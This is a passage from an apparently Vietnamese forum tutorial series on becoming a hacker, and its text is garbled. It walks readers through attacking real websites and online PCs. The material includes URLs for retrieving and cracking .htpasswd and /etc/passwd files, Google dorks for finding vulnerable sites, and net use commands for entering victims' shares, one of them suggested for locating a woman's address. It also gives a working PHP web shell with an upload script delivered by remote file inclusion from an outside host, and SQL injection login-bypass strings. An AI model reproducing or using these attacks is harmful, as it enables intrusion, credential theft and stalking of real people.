web servers xem nh l cc file cu hnh. Cc file ny s b n i (hidden) khi bn xem
qua th mc c bo v bng file .htaccess .Hai h s ny c nhim v iu khin s
truy nhp ti ci link an ton m bn mun xm nhp . Mt ci qun l mt khu v
user name , mt ci qun l cng vic m ho nhng thng tin cho file kia . Khi bn nhp
ng c 2 th ci link mi m ra . Bn hy nhn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bn c th c c ri , cn ci pass bn nhn c hiu m t g khng ? D
nhin l khng ri . bn c hiu v sao khng m bn khng th c c chng khng ?
ci ny n c s can thip ca thng file .htaccess . Do khi cng trong cng th mc
chng c tc ng qua li bo v ln nhau nn chng ta cng khng di g m c gng
t nhp ri crack m mt khu cht tit ( khi cha c ngh crack mt khu trong
tay . Ti cng ang nghin cu c th xm nhp trc tip , nu thnh cng ti s post
ln cho cc bn ) . Li l y , chuyn g s xy ra nu ci .htpasswd nm ngoi th
mc bo v c file .htaccess ? Ta s chm c n d dng , bn hy xem link VD sau :

http://www.company.com/cgi-bin/protected/


hy kim tra xem file .htpasswd c c bo v bI .htaccess hay khng , ta nhp URL
sau :

http://www.company.com/cgi-bin/protected/.htp%20asswd

Nu bn thy c cu tr lI `File not found` hoc tng t th chc chn file ny khng
c bo v , bn hy tm ra n bng mt trong cc URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.htpasswd
http://www.company.com/cgi-bin/passwords/.htp%20asswd
http://www.company.com/cgi-bin/passwd/.htpass%20wd

nu vn khng thy th cc bn hy c tm bng cc URL khc tng t ( c th n nm
ngay th mc gc y ) , cho n khi no cc bn tm thy th thi nh .
Khi tm thy file ny ri , bn hy dng chng trnh ``John the ripper`` hoc
``Crackerjack``, crack passwd ct trong . Cng vic tip theo hn cc bn bit l
mnh phi lm g rI , ly user name v passwd hp l t nhp vo ri xem th my c
cu tm s nhng g trong , nhng cc bn cng ng c i pass ca h hay quy
h nh .
Cch ny cc bn cng c th p dng ly pass ca admin v hu ht nhng thnh vin
trong nhm kn u l c chc c quyn c .

23 . ) Tm hiu v CGI ?

_ CGI l t vit tt ca Common Gateway Interface , a s cc Website u ang s dng
chng trnh CGI ( c gI l CGI script ) thc hin nhng cng vic cn thit 24
gi hng ngy . Nhng nguyn bn CGI script thc cht l nhng chng trnh c vit
v c upload ln trang Web vI nhng ngn ng ch yu l Perl , C , C++ , Vbscript
trong Perl c a chung nht v s d dng trong vic vit chng trnh ,chim mt
dung lng t v nht l n c th chy lin tc trong 24 gi trong ngy .
_ Thng thng , CGI script c ct trong th mc /cgi-bin/ trn trang Web nh VD sau
:

http://www.company.com/cgi-bin/login.cgi


vi nhng cng vic c th nh :
+ To ra chng trnh m s ngi gh thm .
+ Cho php nhng ngI khch lm nhng g v khng th lm nhng g trn Website
ca bn .
+ Qun l user name v passwd ca thnh vin .
+ Cung cp dch v Mail .
+ Cung cp nhng trang lin kt v thc hin tin nhn qua li gia cc thnh vin .
+ Cung cp nhng thng bo li chi tit .v.v..

24 . ) Cch hack Web c bn nht thng qua CGI script :

_ Li th 1 : li nph-test-cgi

+ nh tn trang Web b li vo trong trnh duyt ca bn .
+ nh dng sau vo cuI cng : /cgi-bin/nph-test-cgi
+ Lc trn URL bn s nhn ging nh th ny :

http://www.servername.com/cgi-bin/nph-test-cg%20i

+ Nu thnh cng bn s thy cc th mc c ct bn trong . xem th mc no bn
nh tip :

CODE
? /*


+ file cha passwd thng c ct trong th mc /etc , bn hy nh trn URL dng sau
:

http://www.servername.com/cgi-bin/nph-test-cg%20i?/etc/*

_ Li th 2 : li php.cgi

+ Tng t trn bn ch cn nh trn URL dng sau ly pass :

http://www.servername.com/cgi-bin/php.cgi?/et c/passwd

Quan trng l y l nhng li c nn vic tm cc trang Web cc bn thc hnh rt
kh , cc bn hy vo trang google.com ri nh t kho :

/cgi-bin/php.cgi?/etc/passwd]
hoc cgi-bin/nph-test-cgi?/etc

sau cc bn hy tm trn xem th trang no cha fix li thc hnh nh .

25 . ) K thut xm nhp my tnh ang online :

_ Xm nhp my tnh ang online l mt k thut va d lI va kh . Bn c th ni d
khi bn s dng cng c ENT 3 nhng bn s gp vn khi dng n l tc s dng
trn my ca nn nhn s b chm i mt cch ng k v nhng my h khng share th
khng th xm nhp c, do nu h tt my l mnh s b cng cc khi cha kp
chm account , c mt cch m thm hn , t lm gim tc hn v c th xm nhp
khi nn nhn khng share l dng chng trnh DOS tn cng . Ok , ta s bt u :
_ Dng chng trnh scan IP nh ENT 3 scan IP mc tiu .
_ Vo Start == > Run g lnh cmd .
_ Trong ca s DOS hy nh lnh net view

CODE
+ VD : c:\net view 203.162.30.xx


_ Bn hy nhn kt qu , nu n c share th d qu , bn ch cn nh tip lnh

net use < a bt k trn my ca bn > : < share ca nn nhn >

+ VD : c:\net use E : 203.162.30.xxC

_ Nu khi kt ni my nn nhn m c yu cu s dng Passwd th bn hy download
chng trnh d passwd v s dng ( theo ti bn hy load chng trnh pqwak2 p
dng cho vic d passwd trn my s dng HH Win98 hoc Winme v chng trnh
xIntruder dng cho Win NT ) . Ch l v cch s dng th hai chng trnh tng t
nhau , dng u ta nh IP ca nn nhn , dng th hai ta nh tn a share ca nn
nhn nhng i vi xIntruder ta ch chnh Delay ca n cho hp l , trong mng
LAN th Delay ca n l 100 cn trong mng Internet l trn dI 5000 .
_ Nu my ca nn nhn khng c share th ta nh lnh :

net use < a bt k trn my ca bn > : c$ (hoc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiu chia s bng c$ l mc nh i vi tt c cc my USER l ``administrator`` .
_ Chng ta c th p dng cch ny t nhp vo my ca c bn m mnh thm
thng trm nh tm nhng d liu lin quan n a ch ca c nng ( vi iu kin
l c ta ang dng my nh v bn may mn khi tm c a ch ) . Bn ch cn
chat Y!Mass ri vo DOS nh lnh :

c:\netstat n

Khi dng cch ny bn hy tt ht cc ca s khc ch khung chat Y!Mass vi c ta
thi , n s gip bn d dng hn trong vic xc nh a ch IP ca c ta . Sau bn
dng cch xm nhp m ti ni trn .( C l anh chng tykhung ca chng ta hi xa
khi tn tnh c bn xa qua mng cng dng cch ny t nhp v tm hiu a ch
ca c ta y m , hi`hi` . )
Bn s thnh cng nu my ca nn nhn khng ci firewall hay proxy .

=================================================== =

Nhiu bn c yu cu ti a ra a ch chnh xc cho cc bn thc tp , nhng ti khng
th a ra c v rt kinh nghim nhng bi hng dn c a ch chnh xc , khi cc
bn thc hnh xong ot c quyn admin c bn xo ci database ca h . Nh vy
HVA s mang ting l ni bt ngun cho s ph hoi trn mng . mong cc bn thng
cm , nu c th th ti ch nu nhng cch thc cc bn tm nhng da ch b li
ch khng a ra a ch c th no .

=================================================== =

phn 4 ti s cp n k thut chng xm nhp vo my tnh ca mnh khi bn
online , tm hiu s cc bc khi ta quyt nh hack mt trang Web , k thut tm ra li
trang Web thc hnh , k thut hack Web thng qua li Gallery.v.v.

GOOKLUCK!!!!!!!!!
Nhng hiu bit c bn nht tr thnh Hacker - Phn
4 [12/7/2004 10:37:00 AM]

26 . ) Tm hiu v RPC (Remote Procedure Call) :

_ Windows NT cung cp kh nng s dng RPC thc thi cc ng dng phn tn .
Microsoft RPC bao gm cc th vin v cc dch v cho php cc ng dng phn tn
hot ng c trong mi trng Windows NT. Cc ng dng phn tn chnh bao gm
nhiu tin trnh thc thi vi nhim v xc nh no . Cc tin trnh ny c th chy trn
mt hay nhiu my tnh.

_Microsoft RPC s dng name service provider nh v Servers trn mng. Microsoft
RPC name service provider phi i lin vi Microsoft RPC name service interface (NIS).
NIS bao bao gm cc hm API cho php truy cp nhiu thc th trong cng mt name
service database (name service database cha cc thc th, nhm cc thc th, lch s cc
thc th trn Server).
Khi ci t Windows NT, Microsoft Locator t ng c chn nh l name service
provider. N l name service provider ti u nht trn mi trng mng Windows NT.

27 . ) K thut n gin chng li s xm nhp tri php khi ang online thng
qua RPC (Remote Procedure Call) :

_ Nu bn nghi ng my ca mnh ang c ngi xm nhp hoc b admin remote
desktop theo di , bn ch cn tt chc nng remote procedure call th hin ti khng c
chng trnh no c th remote desktop theo di bn c . N cn chng c hu
ht tools xm nhp vo my ( v a s cc tools vit connect da trn remote procedure
call ( over tcp/ip )).Cc trojan a s cng da vo giao thc ny.

Cch tt: Bn vo service /remote procedure call( click chut phi ) chn starup
typt/disable hoc manual/ apply.

y l cch chng rt hu hiu vi my PC , nu thm vi cch tt file sharing th rt kh
b hack ) ,nhng trong mng LAN bn cng phin phc vi n khng t v bn s khng
chy c cc chng trnh c lin quan n thit b ny . Ty theo cch thc bn lm
vic m bn c cch chn la cho hp l . Theo ti th nu dng trong mng LAN bn
hy ci mt firewall l chc chn tng i an ton ri .

( Da theo bi vit ca huynh i nh c khoai khoaimi admin ca HVA )

28 . ) Nhng bc hack mt trang web hin nay :

_ Theo lit k ca sch Hacking Exposed 3 th hack mt trang Web thng thng ta
thc hin nhng bc sau :
+ FootPrinting : ( In du chn )
y l cch m hacker lm khi mun ly mt lng thng tin ti a v my ch/doanh
nghip/ngi dng. N bao gm chi tit v a ch IP, Whois, DNS ..v.v i khi l
nhng thong tin chnh thc c lien quan n mc tiu. Nhiu khi n gin hacker ch cn
s dng cc cng c tm kim trn mng tm nhng thong tin .
+ Scanning : ( Qut thm d )
Khi c nhng thng tin ri, th tip n l nh gi v nh danh nhng nhng dch
v m mc tiu c. Vic ny bao gm qut cng, xc nh h iu hnh, .v.v.. Cc cng
c c s dng y nh nmap, WS pingPro, siphon, fscam v cn nhiu cng c khc
na.
+ Enumeration : ( lit k tm l hng )
Bc th ba l tm kim nhng ti nguyn c bo v km, hoch ti khon ngi dng
m c th s dng xm nhp. N bao gm cc mt khu mc nh, cc script v dch
v mc nh. Rt nhiu ngi qun tr mng khng bit n hoc khng sa i li cc
gi tr ny.
+ Gaining Access: ( Tm cch xm nhp )
By gi k xm nhp s tm cch truy cp vo mng bng nhng thng tin c c ba
bc trn. Phng php c s dng y c th l tn cng vo li trn b m, ly
v gii m file password, hay th thin nht l brute force (kim tra tt c cc trng hp)
password. Cc cng c thng c s dng bc ny l NAT, podium, hoc L0pht.
+ Escalating Privileges : ( Leo thang c quyn )
V d trong trng hp hacker xm nhp c vo mng vi ti khon guest, th h s
tm cch kim sot ton b h thng. Hacker s tm cch crack password ca admin, hoc
s dng l hng leo thang c quyn. John v Riper l hai chng trnh crack
password rt hay c s dng.
+ Pilfering : ( Dng khi cc file cha pass b s h )
Thm mt ln na cc my tm kim li c s dng tm cc phng php truy cp
vo mng. Nhng file text cha password hay cc c ch khng an ton khc c th l
mi ngon cho hacker.
+ Covering Tracks : ( Xo du vt )
Sau khi c nhng thng tin cn thit, hacker tm cch xo du vt, xo cc file log ca
h iu hnh lm cho ngi qun l khng nhn ra h thng b xm nhp hoc c bit
cng khng tm ra k xm nhp l ai.
+ Creating ``Back Doors`` : ( To ca sau chun b cho ln xm nhp tip theo c d
dng hn )
Hacker li ``Back Doors``, tc l mt c ch cho php hacker truy nhp tr li bng
con ng b mt khng phi tn nhiu cng sc, bng vic ci t Trojan hay to user
mi (i vi t chc c nhiu user). Cng c y l cc loi Trojan, keylog
+ Denial of Service (DoS) : ( Tn cng kiu t chi dch v )
Nu khng thnh cng trong vic xm nhp, th DoS l phng tin cui cng tn
cng h thng. Nu h thng khng c cu hnh ng cch, n s b ph v v cho
php hacker truy cp. Hoc trong trng hp khc th DoS s lm cho h thng khng
hot ng c na. Cc cng c hay c s dng tn cng DoS l trin00, Pong Of
Death, teardrop, cc loi nuker, flooder . Cch ny rt li hi , v vn cn s dng ph
bin hin nay .
_ Tu theo hiu bit v trnh ca mnh m mt hacker b qua bc no . Khng nht
thit phI lm theo tun t . Cc bn hy nh n cu bit ngi bit ta trm trn trm
thng .

( Ti liu ca HVA v hackervn.net )

29 . ) Cch tm cc Website b li :

_ Chc cc bn bit n cc trang Web chuyn dng tm kim thng tin trn mng ch
? Nhng cc bn chc cng khng ng l ta c th dng nhng trang tm nhng
trang Web b li ( Ti vn thng dng trang google.com v khuyn cc bn cng nn
dng trang ny v n rt mnh v hiu qu ) .
_ Cc bn quan tm n li trang Web v mun tm chng bn ch cn vo google.com
v nh on li vo sau allinurl : . VD ta c on m li trang Web sau :

cgi-bin/php.cgi?/etc/passwd

cc bn s nh :

allinurl:cgi-bin/php.cgi?/etc/passwd

N s lit k ra nhng trang Web ang b li ny cho cc bn , cc bn hy nhn xung
di cng ca mi mu lit k ( dng a ch mu xanh l cy ) nu dng no vit y
chang t kho mnh nhp vo th trang hoc ang b li .Cc bn c xm nhp vo
c hay khng th cng cn tu vo trang Web fix li ny hay cha na .
_ Cc bn quan tm n li forum , cc bn mun tm forum dng ny thc tp , ch
cn nhp t kho

powered by

VD sau l tm forum dng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhin , vic tm ra ng forum hoc trang Web b li theo cch c xc sut
khng cao , bn hy quan tm n on string c bit trong URL c trng cho tng
kiu trang Web hoc forum ( ci ny rt quan trng , cc bn hy t mnh tm hiu
thm nh ) . VD tm vi li Hosting Controller th ta s c on c trng sau

``/admin hay /advadmin hay /hosting``

ta hy nh t kho :

allinurl:/advadmin
hoc allinurl:/admin
hoc allinurl:/hosting

N s lit k ra cc trang Web c URL dng :

http://tentrangweb.com/advadmin
hoc http://tentrangweb.com/admin
hoc http://tentrangweb.com/hosting

VD vi forum UBB c on c trng

``cgi-bin/ultimatebb.cgi?``

Ta cng tm tng t nh trn .
Ch cn bn bit cch tm nh vy ri th sau ny ch cn theo di thng tin cp nht bn
trang Li bo mt ca HVA do bn LeonHart post hng ngy cc bn s hiu c
ngha ca chng v t mnh kim tra .

30 . ) K thut hack Web thng qua li Gallery ( mt dng ca li php code inject ):

_ Gallery l mt cng c cho php to mt gallery nh trn web c vit bng PHP , li
dng s h ny ta c th li dng vit thm vo mt m PHP cho php ta upload ,
chnh l mc ch chnh ca ta .
_ Trc ht bn hy ng k mt host min ph , tt nht l bn ng k brinkster.com
cho d . Sau bn m notepad v to file PHP vi on m sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }
echo `` ``;
? >


on m ny bn hy to lm 2 file c tn khc nhau ( nhng cng chung mt m ) v
t tn l :
+ shellphp.php : file ny dng chy shell trn victim host .
+ init.php : file ny dng upload ln trang c host bn va to . ( Bn hy upload file
init.php ny ln sm v ta s cn s dng n nhng vi on m khc , bn qun upload
file ny ln l tiu )

Bn hy to thm mt file PHP vi m sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lu *PATH* chng ta
s thay i sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post
action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bn hy t tn l upload.php , n s dng upload ln trang Web ca nn nhn .
_ Tip theo Bn vo Google, g ``Powered by gallery`` ri enter, Google s lit k mt
ng nhng site s dng Gallery , bn hy chn ly mt trang bt k rI dng link sau
th xem n cn mc lI Gallery hay khng :

http:// trang Web ca nn nhn >
/gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nu bn thy hin ln mt hnh ch nht pha trn cng , bn phi ca n l lnh
chuyn tip c ch Go l coi nh bn tm thy c I tng ri . By gi bn
c th g lnh thng qua ch nht hack Web ca nn nhn .
Trc ht bn hy g lnh pwd xc nh ng dn tuyt i n th mc hin thi
ri nhn nt Go , khi n cho kt qu bn hy nhanh chng ghi li ng dn pha
dI ( Ti s s dng VD ng dn ti tm thy l /home/abc/xyz/gallery ).
Sau bn nh tip lnh |s a| lit k cc th mc con ca n . By gi bn hy
nhn kt qu , bn s thy mt ng cc th mc con m ta lit k . Bn hy lun nh
l mc ch ca chng ta l tm mt th mc c th dng upload file upload.php m ta
chun b t trc do bn hy xc nh cng ti bng cch nhn vo nhng ch cuI
cng ca mi hng kt qu :
+ Bn hy loi b trng hp cc th mc m c du . hoc .. v y l th mc gc
hoc l th mc o ( N thng c xp trn cng ca cc hng kt qu ) .
+ Bn cng loI b nhng hng c ch cui cng c gn ui ( VD nh config.php ,
check.inc .v.v ) v y l nhng file ch khng phi l th mc .
+ Cn li l nhng th mc c th upload nhng ti khuyn bn nn chn nhng hng
cha tn th mc m c cha s ln hn 1 ( Bn c th xc nh c chng bng cch
nhn ct th 2 t tri sang ) , v nh vy va chc chn y l th mc khng phi th
mc o , va lm cho admin ca trang Web kh pht hin khi ta ci file ca ta vo .
Ti VD ti pht hin ra th mc loveyou c cha 12 file c th cho ta upload , nh vy
ng dn chnh thc m ta upload ln s l :

/home/abc/xyz/Gallery/loveyou

By gi bn hy vo account host ca bn, sa ni dung file init.php ging nh m ca
file upload.php, nhng sa li *PATH* thnh /home/abc/xyz/gallery/loveyou/ . ng
thi cng chun b mt file upload.php trn my ca bn vi *PATH* l ( 2 du ngoc
kp ).
By gi l ta c th upload file upload.php ln trang Web ca nn nhn c ri , bn
hy nhp a ch sau trn trnh duyt Web ca bn :

http:// trang Web ca nn nhn >
/gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bn s thy xut hin tip mt khung hnh ch nht v bn cnh l c 2 nt lnh , mt l
nt brown , mt l nt upload . Nt brown bn dng dn n a ch file
upload.php bn chun b trn my ca bn , nt upload khi bn nhn vo th n
s upload file upload.php ln trang Web ca nn nhn . Ok , by gi coi nh bn hon
thnh chng ng hack Web ri . T by gi bn hy vn dng tn cng i th
nh ly database , password ( lm tng t nh cc bi hng dn hack trc ) , nhng
cc bn ch nn thc tp ch ng xo database hay ph Web ca h. Nu l mt hacker
chn chnh cc bn ch cn upload ln trang Web dng ch : Hack by .. l ri .
Cng nh nhng ln trc , cc bn c thnh cng hay khng cng tu thuc vo s may
mn v kin tr nghin cu vn dng kin thc ca cc bn .

( Da theo hng dn hack ca huynh vnofear viethacker.net )


GOODLUCK!!!!!!!!!!!!

( Ht phn 4 )
Anhdenday
HVAonline.net
Nhng hiu bit c bn nht tr thnh Hacker - Phn
5 [12/22/2004 9:57:00 AM]

31 . ) Gi tin TCP/IP l g?

TCP/IP vit tt cho Transmission Control Protocol and Internet Protocol, mt Gi tin
TCP/IP l mt khi d liu c nn, sau km thm mt header v gi n mt
my tnh khc. y l cch thc truyn tin ca internet, bng cch gi cc gi tin. Phn
header trong mt gi tin cha a ch IP ca ngi gi gi tin. Bn c th vit li mt gi
tin v lm cho n trong ging nh n t mt ngi khc!! Bn c th dng cch ny
tm cch truy nhp vo rt nhiu h thng m khng b bt. Bn s phi chy trn Linux
hoc c mt chng trnh cho php bn lm iu ny.


32 . ) Linux l gi`:

_Ni theo ngha gc, Linux l nhn ( kernel ) ca HH. Nhn l 1 phn mm m trch
chc v lin lc gia cc chng trnh ng dng my tnh v phn cng. Cung cp cc
chng nng nh: qun l file, qun l b nh o, cc thit b nhp xut nhng cng,
mn hnh, bn phm, .... Nhng Nhn Linux cha phi l 1 HH, v th nn Nhn Linux
cn phi lin kt vi nhng chng trnh ng dng c vit bi t chc GNU to ln 1
HH hon chnh: HH Linux. y cng l l do ti sao chng ta thy GNU/Linux khi
c nhc n Linux.
Tip theo, 1 cng ty hay 1 t chc ng ra ng gi cc sn phm ny ( Nhn v Chng
trnh ng dng ) sau sa cha mt s cu hnh mang c trng ca cng ty/ t chc
mnh v lm thm phn ci t ( Installation Process ) cho b Linux , chng ta c :
Distribution. Cc Distribution khc nhau s lng v loi Software c ng gi cng
nh qu trnh ci t, v cc phin bn ca Nhn. 1 s Distribution ln hin nay ca
Linux l : Debian, Redhat, Mandrake, SlackWare, Suse .

33 . ) Cc lnh cn bn cn bit khi s dng hoc xm nhp vo h thng Linux :

_ Lnh `` man`` : Khi bn mun bit cch s dng lnh no th c th dng ti lnh nay :
Cu trc lnh : $ man .
V d : $ man man
_ Lnh `` uname ``: cho ta bit cc thng tin c bn v h thng
V d : $uname -a ; n s a ra thng tin sau :

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown

_ Lnh id : xem uid/gid hin ti ( xem nhm v tn hin ti )

_ Lnh w : xem cc user ang login v action ca h trn h thng .
V D : $w n s a ra thng tin sau :

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

_ Lnh ps: xem thng tin cc process trn h thng
V d : $ps axuw
_ Lnh cd : bn mun di chuyn n th mc no . phi nh n lnh ny .
V du : $ cd /usr/bin ---- > n s a bn n th mc bin
_ Lnh mkdir : to 1 th mc .
V d : $ mkdir /home/convit --- > n s to 1 th mc convit trong /home
_ Lnh rmdir : g b th mc
V d : $ rmdir /home/conga ---- > n s g b th mc conga trong /home .
_ Lnh ls: lit k ni dung th mc
V d : $ls -laR /
_ Lnh printf: in d liu c nh dng, ging nh s dng printf() ca C++ .
V d : $printf %s ``\x41\x41\x41\x41``
_ Lnh pwd: a ra th mc hin hnh
V d : $pwd ------ > n s cho ta bit v tr hin thi ca ta u : /home/level1
_ Cc lnh : cp, mv, rm c ngha l : copy, move, delete file
V d vi lnh rm (del) : $rm -rf /var/tmp/blah ----- > n s del file blah .
Lm tng t i vi cc lnh cp , mv .
_ Lnh find : tm kim file, th mc
V d : $find / -user level2
_ Lnh grep: cng c tm kim, cch s dng n gin nht : grep ``something``
Vidu : $ps axuw | grep ``level1``
_ Lnh Strings: in ra tt c cc k t in c trong 1 file. Dng n tm cc khai bo
hnh chui trong chng trnh, hay cc gi hm h thng, c khi tm thy c password
na
VD: $strings /usr/bin/level1
_ Lnh strace: (linux) trace cc gi hm h thng v signal, cc k hu ch theo di
flow ca chng trnh, cch nhanh nht xc nh chng trnh b li on no. Trn
cc h thng unix khc, tool tng ng l truss, ktrace .
V d : $strace /usr/bin/level1
_ Lnh`` cat, more ``: in ni dung file ra mn hnh

$cat /etc/passwd | more -- > n s a ra ni dung file passwd mt cch nhanh nht .
$more /etc/passwd ---- > N s a ra ni dung file passwd mt cch t t .

_ Lnh hexdump : in ra cc gi tr tng ng theo ascii, hex, octal, decimal ca d liu
nhp vo .
V d : $echo AAAA | hexdump
_ Lnh : cc, gcc, make, gdb: cc cng c bin dch v debug .
V d : $gcc -o -g bof bof.c
V d : $make bof
V d : $gdb level1
(gdb) break main
(gdb) run
_ Lnh perl: mt ngn ng
V d : $perl -e `print ``A``x1024` | ./bufferoverflow ( Li trn b m khi ta nh vo
1024 k t )
_ Lnh ``bash`` : n lc t ng ho cc tc v ca bn bng shell script, cc mnh
v linh hot .
Bn mun tm hiu v bash , xem n nh th no :
$man bash
_ Lnh ls : Xem ni dung th mc ( Lit k file trong th mc ) .
V D : $ ls /home ---- > s hin ton b file trong th mc Home
$ ls -a ----- > hin ton b file , bao gm c file n
$ ls -l ----- > a ra thng tin v cc file
_ Lnh ghi d liu u ra vo 1 file :
Vd : $ ls /urs/bin > ~/convoi ------ > ghi d liu hin th thng tin ca th mc bin vo 1
file convoi .

34 . ) Nhng hiu bit c bn xung quanh Linux :

a . ) Mt vi th mc quan trng trn server :

_ /home : ni lu gi cc file ngi s dng ( VD : ngi ng nhp h thng c tn l
convit th s c 1 th mc l /home/convit )
_ /bin : Ni x l cc lnh Unix c bn cn thit nh ls chng hn .
_ /usr/bin : Ni x l cc lnh dc bit khc , cc lnh dng bi ngi s dng c bit v
dng qun tr h thng .
_ /bot : Ni m kernel v cc file khc c dng khi khi ng .
_ /ect : Cc file hot ng ph mng , NFS (Network File System ) Th tn ( y l ni
trng yu m chng ta cn khai thc nhiu nht )
_ /var : Cc file qun tr
_ /usr/lib : Cc th vin chun nh libc.a
_ /usr/src : V tr ngun ca cc chng trnh .

b . ) V tr file cha passwd ca mt s phin bn khc nhau :

CODE
AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *


35 . ) Khai thc li ca Linux qua l hng bo mt ca WU-FTP server :

_ WU-FTP Server (c pht trin bi i Hc Washington ) l mt phn mm Server
phc v FTP c dng kh ph bin trn cc h thng Unix & Linux ( tt c cc nh
phn phi: Redhat, Caldera, Slackware, Suse, Mandrake....) v c Windows.... , cc
hacker c th thc thi cc cu lnh ca mnh t xa thng qua file globbing bng cch ghi
ln file c trn h thng .
_ Tuy nhin , vic khai thc li ny khng phI l d v n phi hi nhng iu kin
sau :
+ Phi c account trn server .
+ Phi t c Shellcode vo trong b nh Process ca Server .
+ Phi gi mt lnh FTP c bit cha ng mt globbing mu c bit m khng b
server pht hin c li .
+ Hacker s ghi ln mt Function, Code ti mt Shellcode, c th n s c thc thi
bi chnh Server FTP .
_ Ta hy phn tch VD sau v vic ghi ln file ca server FTP :

CODE
ftp > open localhost <== lnh m trang b li .
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready <== xm nhp thnh cng FTP server
.
Name (localhost:root): anonymous <== Nhp tn ch ny
331 Guest login ok, send your complete e-mail address as password.
Password:..<== nhp mt khu y
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files. <== s dng bin nh phn chuyn i file .
ftp > ls ~{ <== lnh lit k th mc hin hnh .
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21 chp nhn kt nI cng 21 .
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thc li Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c


Vic khai thc qua li ny n nay ti test vn cha thnh cng ( chng bit lm sai ch
no ) . Vy bn no lm c hy post ln cho anh em bit nh .
Li Linux hin nay rt t ( c bit l i vi Redhat ), cc bn hy ch i nu c li g
mi th bn LI bo mt s cp nht ngay . Khai thc chng nh th no th hi Mod
qun l bn , c bit l bn Leonhart , cu ta sing tr li cc bn lm .

( Da theo bi vit ca huynh Binhnx2000 )

36 . ) Tm hiu v SQL Injection :

_ SQL Injection l mt trong nhng kiu hack web ang dn tr nn ph bin hin nay.
Bng cch inject cc m SQL query/command vo input trc khi chuyn cho ng dng
web x l, bn c th login m khng cn username v password, thi hnh lnh t xa,
ot d liu v ly root ca SQL server. Cng c dng tn cng l mt trnh duyt
web bt k, chng hn nh Internet Explorer, Netscape, Lynx, ...
_ Bn c th kim c trang Web b li bng cch dng cc cng c tm kim kim
cc trang cho php submit d liu . Mt s trang Web chuyn tham s qua cc khu vc
n nn bn phI viewsource mI thy c . VD ta xc nh c trang ny s dng
Submit d liu nh nhn vo m m ta viewsource :

CODE
<input type=hidden name=A value=C >

_ Kim tra th xem trang Web c b li ny hay khng bng cch nhp vo login v pass
ln lt nh sau :

- Login: hi` or 1=1--
- Pass: hi` or 1=1--

Nu khng c bn th tip vi cc login v pass sau :

CODE
` or 1=1--
`` or 1=1--
or 1=1--
` or `a`=`a
`` or ``a``=``a
`) or (`a`=`a

Nu thnh cng, bn c th login vo m khng cn phi bit username v password .
Li ny c dnh dng n Query nn nu bn no tng hc qua c s d liu c th
khai thc d dng ch bng cch nh cc lnh Query trn trnh duyt ca cc bn . Nu
cc bn mun tm hiu k cng hn v li ny c th tm cc bi vit ca nhm vicky
tm hiu thm .

37 . ) Mt VD v hack Web thng qua li admentor ( Mt dng ca li SQL
Injection ) :

_ Trc tin bn vo google.com tm trang Web admentor bng t kho allinurl :
admentor .
_ Thng thng bn s c kt qu sau :

